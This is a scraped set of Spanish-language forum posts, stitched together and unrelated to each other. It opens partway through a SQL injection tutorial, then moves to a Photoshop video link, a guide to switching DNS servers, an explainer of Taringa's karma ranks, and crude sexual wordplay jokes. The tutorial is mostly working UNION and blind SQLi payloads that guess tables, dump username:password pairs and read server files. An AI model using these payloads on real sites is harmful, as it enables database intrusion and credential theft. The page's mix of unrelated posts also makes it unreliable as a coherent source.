lo que queramos saber: version,user,base de datos etc .. entonces hacemos: para la versiòn: (se pude usar @@version o version()) http://www.site.com/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* tendras algo como "4.1.20-log" es importante saber que version de mysql estamos injectando ya que podemos tener otras posibilidades como: information_schema table_name y otros importantes que nos ahorran de estar injectando. podremos reemplazar para sacar el user de esta forma: user() o base de datos: database() problema frecuente: por que me dice que es ilegal,implicita etc ..? bueno en este caso tendremos que usar la funcion convert(). http://www.site.com/print.php?id=-1+union+all+select 1,convert(@@version using latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* o con hex() y unhex(): http://www.site.com/print.php?id=-1+union+all+select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17/* /* lo aprendi el otro dia en el foro */ y asi obtendremos la versiòn de mysql. Obteniendo tabla y nombre de columna. ------------------------------------- si tenemos una version menor a 5 de mysql tendremos que adivinar la tabla y las columnas :S. pero si tenemos una version 5 todo es mucho màs facil =) veamos: http://www.site.com/print.php?id=-1+union+all+select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema = database() /* si pueden entender esta cadena vemos como casi no necesitamos adivinar ya que usamos "table_name" donde nos largaria el nombre de la tabla. /* luego hare un tutorial para la versiòn 5 y lo que nos ofrece */ bueno volvamos a la 4 jaj. bueno abra que adivinar la tabla y las columnas. abra que usar nombres para tablas como: usuarios,users,members y etc .. y ver si funciona de la siguiente forma: http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from usuarios /* <--- nos tira error algo como "Table 'basededatos.usuarios' doesn't exist" http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from users /* <--- nos tira error http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- no nos tira error y eso quiere decir que le pegamos :O. ahora una vez que le pegamos a la tabla proseguimos a sacar el nombre de la columna y probar posibles nombres como user,user_name,login,usuario o para el pass como pass,password,pwd y etc .. lo haremos de la siguiente manera. http://www.site.com/print.php?id=-1+union+all+select 1,user,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- error y nos muestra algo como: Unknown column 'user' in 'field list' http://www.site.com/print.php?id=-1+union+all+select 1,user_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- error http://www.site.com/print.php?id=-1+union+all+select 1,usuario,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- no nos tira error y podemos ver el user en pantalla puede o no estar codificada. y de la misma forma lo usamos para buscar un password,email o lo que sea. Usando concat(): ---------------- podremos hacer algo asi: http://www.site.com/print.php?id=-1+union+all+select 1,concat(usuario,password),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17 from members /* entonces nos largaria el user y pass sin estar haciendo demasiadas inyecciones. pero el user y pass aparecerian juntos algo que casi no se distingue ejemplo: adminmypassword para evitarlo o si quieren pueden separlo de la siguiente manera para no confundirse con un : o algun otro caracter pasandolo en hexadecimal o usando char() (pasar a valor ascii). http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from members/* obtendremos de la base algo asi: admin:mypassword o si ponemos el hexa de = (0x3D) obtendremos : admin=mypassword y en ascii: http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,char(58),password),3 from members/* para obtener: admin:mypassword /* para saber los valores ascii: http://www.ascii.cl/es/ */ otro problema frecuente: quiero sacar otro user de la columna como puedo hacer? es facìl! lo haremos de la siguiente manera: http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from members LIMIT 1,1/* <-- obtendremos uno. http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from members LIMIT 2,1/* <-- obtendremos otro diferente. y asi sucesivamente. y si te cansaste de no poder adivinar el nombre de la tabla /* :@ */ puedes intentar usar el mysql.user por defecto :S haciendo algo asi: http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from mysql.user /* Ahora blind sql injection: -------------------------- Creo que es lo màs dificil pero posible dentro de todo.Puede ser cansador un poco pero tendremos frutos (?). Sabiendo si es vulnerable a Bsql: --------------------------------- tenemos que saber esto: http://www.site.com/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero. http://www.site.com/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso. si luego de probar http://www.site.com/print.php?id=-1 and 1 = 2 no regreso algo de la pagina un texto o etc sabemos que es vulnerable a bsql. Sabiendo la version de mysql: http://www.site.com/print.php?id=-1 and substring(@@version,1,1)=4 <--- si nos larga la pagina normal (si es verdadero) sera version 4. http://www.site.com/print.php?id=-1 and substring(@@version,1,1)=5 <--- si nos larga la pagina normal (si es verdadero) sera version 5. podemos usar select pero si tenemo problemas podremos usar subselect. http://www.site.com/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1 si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor como /etc/password y etc .. usando load_file() y outfile. Buscando nombre de tabla y columna: ----------------------------------- Puede ser lo peor y con ganas de romper tu monitor. adivinando la tabla: hacemos esto: http://www.site.com/print.php?id=-1 and (select 1 from members limit 0,1)=1 /* con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es importante. RECODARLO */ si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es asi tendremos que seguir adivinando. ahora la columna: http://www.site.com/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit 0,1)=1 si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */ Extrayendo datos: ------------------ Supongamos que ya tenemos nombre de la columna y la tabla: http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>80 el 80 es un caracter en ascii si nos da verdadero tenemos que aumentar hasta que de falso. http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>95 da verdadero asi que incrementamos. http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>95 http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>98 nos da verdadero. http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>99 FALSO! por lo que el primer carácter en el nombre de usuario es char(99).Y convirtiendolo a ascii sabemos que char (99) es la letra c. entonces vamos a comprobar el segundo caracter. http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>99 fijense que estoy cambiado, a 1,1, 2,1 para obtener el segundo caracter.ahora vuelve el segundo caracter, 1 caracter de longitud. http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>99 no da verdadero e incrementamos: http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>107 nos da falso y buscamos menor numero. http://www.site.com/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>104 verdadero.incrementamos .. http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>105 FALSO! sabemos que el segundo caracter es char (105) y que es i vamos ci y seguimos incrementando.cuando > 0 devuelve falso, sabemos que llegamos al final. hay herramientas que hacen que esto no sea muy pesado: http://www.seguridadinformatica.es/p...ogPost%3A16301 ocupo ser NFU porfavor solo 20 puntos y ya
Aprende a usar adobe photosop cs 5 con este tutorial bien bueno, no olvides comentar. link: http://www.youtube.com/watch?v=ckZlrAfuTrY Si te gusto no olvides dejar puntos y gracias por visitar.

Solucion al Problema del DNS con los Venezolanos con el Mu y el Foro Hola Me llamo Jose mejor conocido como Cegueri soy Venezolano y llevo jugando este juego desde sus inicio diria yo hace 7 años o menos jajaja bueno la cosa esque hace un par de semanas se presento un grave problema de dns con la red venezolana y el mu magdalena & reload que muchos no podiamos ingresar al juego ni al foro y este detalle solo sucedia con el mu magdalena bueno de tal formas se necesitaba solucionar un amigo me dijo que pagando a un empleado de la empresa principal de redes en Venezuela CANTV se solucionaba pero es una via desesperada y era algo por lo cual yo no pasaba pero habia que solucionarlo investigando y gracias a mi amiga Nefertiti que se tomo la molestia de preguntarme que pasaba con nosotros y al contarle se dedico un tiempito en ayudarnos me dijo prueba esto que consegui por red y testie todo y si funcionaba a continuacion dejo una pequeña guia para mis amigos que no pueden ingresar al mu ni al foro por favor les pido a los demas usuarios que le divulguen la guia por MSN a los necesitados ya que ni al foro pueden entrar como me pasaba a mi Cómo cambiar las DNS Hacer este cambio es muy sencillo, tanto como cambiar unos pocos números. Para hacerlo, abre las propiedades de tu conexión a Internet y en las idem del protocolo TCP/IP modifica los dos servidores DNS que aparecen por estos otros dos. Es decir Click en propiedades de tu conexion de internet en mi caso le das click a donde dice protoco TCP/ IP 4 CLICK en propiedades de ese inocono y abajo donde aparece usar las siguientes direciones de DNS porque de seguro te saltra marcado obtener una direccion de DNS automaticamente pones en esas dos casillas vacias los siguientes numeros clik en aceptar reinicias internet explore, forefox o google chrome ETC vuelves abrir y veras que puedes ingresar al mu y el foro 208.67.222.222 208.67.220.220 Para que quede mas claro os dejo una captura de pantalla con el antes y el después en un sistema Windows XP que tenía las DNS de telefónica y le he puesto las de de OpenDNS. http:// ima geshack.us/f/19/cambiodns.jpg/ Bueno espero que ayan entendido si no me envian un mp toda esta ayuda tambien es de parte de su amiga Nefertiti que en otro post le comentaba a Rolando un amigo Venezolano que habia otra solucion aparte de pagar dinero jejeje bueno eso es todo espero que sirva de ayuda y ruso lo ponga como tema importante para nosotros

El karma en taringa. El sistema de karma de Taringa! funciona con un modelo de puntaje interno, cada acción buena o mala baja el karma según su nivel de importancia: por ejemplo, hacer un buen comentario no sube el karma al mismo nivel que lo hace un buen post, y en base a todas las acciones realizadas a lo largo del tiempo se llega a un valor de karma global; luego en base a esto se asigna un rango y un valor de karma público. El sistema de karma es un medidor de reputación que poseen los usuarios del sitio dentro de este. Gracias a este sistema podemos reconocer que usuario es "mejor" y cual "peor" También es una puntuacion con respecto a la actividad que tenes. Si sos muy activo vas subiendo de rango. Si no sos activo o te eliminan posts vas bajando la puntuacion y de rango tambien. El karma va utilizarse para asignar nuevos rangos Son 12 , y va a limitar ciertas acciones que puedas realizar en taringa!. También calcula tu karma es decir las acciones que hagas en taringa. Rangos del karma 12,00 - Diamond 11,00 - Platinium 10,00 - Gold 9,00 - Silver 8,00 - Elite 7,00- Avanzado 6,00 - Experto 5,00 - Regular 4,00 - Amateur 3,00 - Aprendiz 2,00 - Iniciado -> Rango inicial 1,00 - Inexperto 0,00 - Flamer -1,00 - Troll Cuando te registras en Taringa! arrancas con el rango 2,00 ( Iniciado) y a partir de ahí va a ir subiendo o bajando según tus actitudes Donde puedo ver mi Karma? Entra a tu perfil y a la derecha sale tu karma ¿Qué actitudes suben el karma? -Dar/Recibir puntos -Denunciar correctamente -Comentar Posts/Temas/Shouts -Crear Posts/Temas/Shouts -Loguearse seguido Haciendo buenos aportes: - Recibiendo puntos en tu contenido - Recibiendo recomendaciones de tu contenido - Que otros usuarios agreguen tu contenido a sus favoritos - Que tus shouts le gusten a la gente - Recibiendo comentarios en tus aportes - Moderando tus contenidos que no cumplen con el protocolo Siendo buen usuario: - Dando puntos al buen contenido - Teniendo nuevos seguidores - Siguiendo a otros buenos usuarios (con karma positivo) - Votando negativo comentarios que no cumplen el protocolo y son eliminados ¿Qué actitudes bajan el karma? -Votar comentarios que se eliminen -Puntuar posts que se eliminan -Que te borren Posts/Temas/Shouts/Comentarios -Denuncias rechazadas -Que un usuario te bloquee -Unirte masivamente (Flood) a varias comunidades en poco tiempo Haciendo malos aportes: - Creando contenido que es eliminado - Haciendo comentarios que son eliminados Con malas actitudes: - Insultando - Votando positivo comentarios de que no cumplen con el protocolo y son eliminados - Siendo bloqueado por otros usuarios - Siendo suspendido (de Taringa! o en comunidades) - Denunciando incorrectamente - Eliminando posts ALGUNAS IMAGENES DE LOS MEDALLAS Y LAS ULTIMAS MEDALLAS ACTUALIZADAS: Si te gusto

Muchas personas disen cosas que no son queriendo decir que es lo mismo pero no asi que o se habla bien o no se habla. No es lo mismo, tampoco.. No es lo mismo decir un cura con sotana negra, que un cura en el sótano con una negra. No es lo mismo decir un niño parado haciendo pipi, que un pipi parado haciendo un niño. No es lo mismo decir una pelota negra, que una negra en pelota. No es lo mismo decir la hija del rajaha, que la rajaha de la hija. No es lo mismo decir calentar a baño maria, que calentarse en el baño con la Maria. No es lo mismo decir anda a guardar el yate, que ya te lo mande a guardar. No es lo mismo decir tubé r c u l o, que ver tu c u l o. No es lo mismo decir Juan, Melon y Tierra, que Juan me lo entierra. No es lo mismo decir dos tazas de te, que dos tetazas. No es lo mismo decir picaporte, que pico de este porte. No es lo mismo decir el SIDA tiene cura, que el cura tiene SIDA. No es lo mismo decir ir a las ruinas de Macchu Picchu, a que venga un machu te meta el pichu y te deje en ruinas. No es lo mismo decir la pelota rosa, que rosame las pelotas No es lo mismo decir la luna tiene cierto crepúsc u l o oscuro, que tengo cierto pelo crespo en el culo. No es lo mismo decir Maria Montes, a que te montes a la Maria. No es lo mismo decir Demetrio Sacarias Saturnino Fajardo, que Demeterlo Sacarlo Sacudirlo y Guardarlo. No es lo mismo decir tu hermana en el jardín del Edén, que le den a tu hermana en el jardín. No es lo mismo decir una pelota vieja, que una vieja en pelota. No es lo mismo decir la vecina de arriba, que arriba de la vecina. No es lo mismo decir tener un hambre atroz, que tener un hombre atrás. No es lo mismo decir que motivo tuvo, ha que tubo te han metido. No es lo mismo decir un pájaro de alto vuelo, que el pájaro de tu abuelo. No es lo mismo decir me meto a un baño turco, que un turco te lo meta en el baño. No es lo mismo decir el consulado general de Chile, que el general con su Chile de lado. No es lo mismo decir mi auto Mercedes Benz, que Mercedes ven a mi auto. No es lo mismo decir la cómoda de tu hermana, que acomódame a tu hermana. No es lo mismo decir la cancha de tennis de tu madre, que que tení concha tu madre. No es lo mismo decir estrecharte la mano, que echarte tres con la mano. No es lo mismo decir Bartolome De Las Casas, que meo del bar a la casa No es lo mismo decir Un metro de encaje negro a que un negro te encaje un metro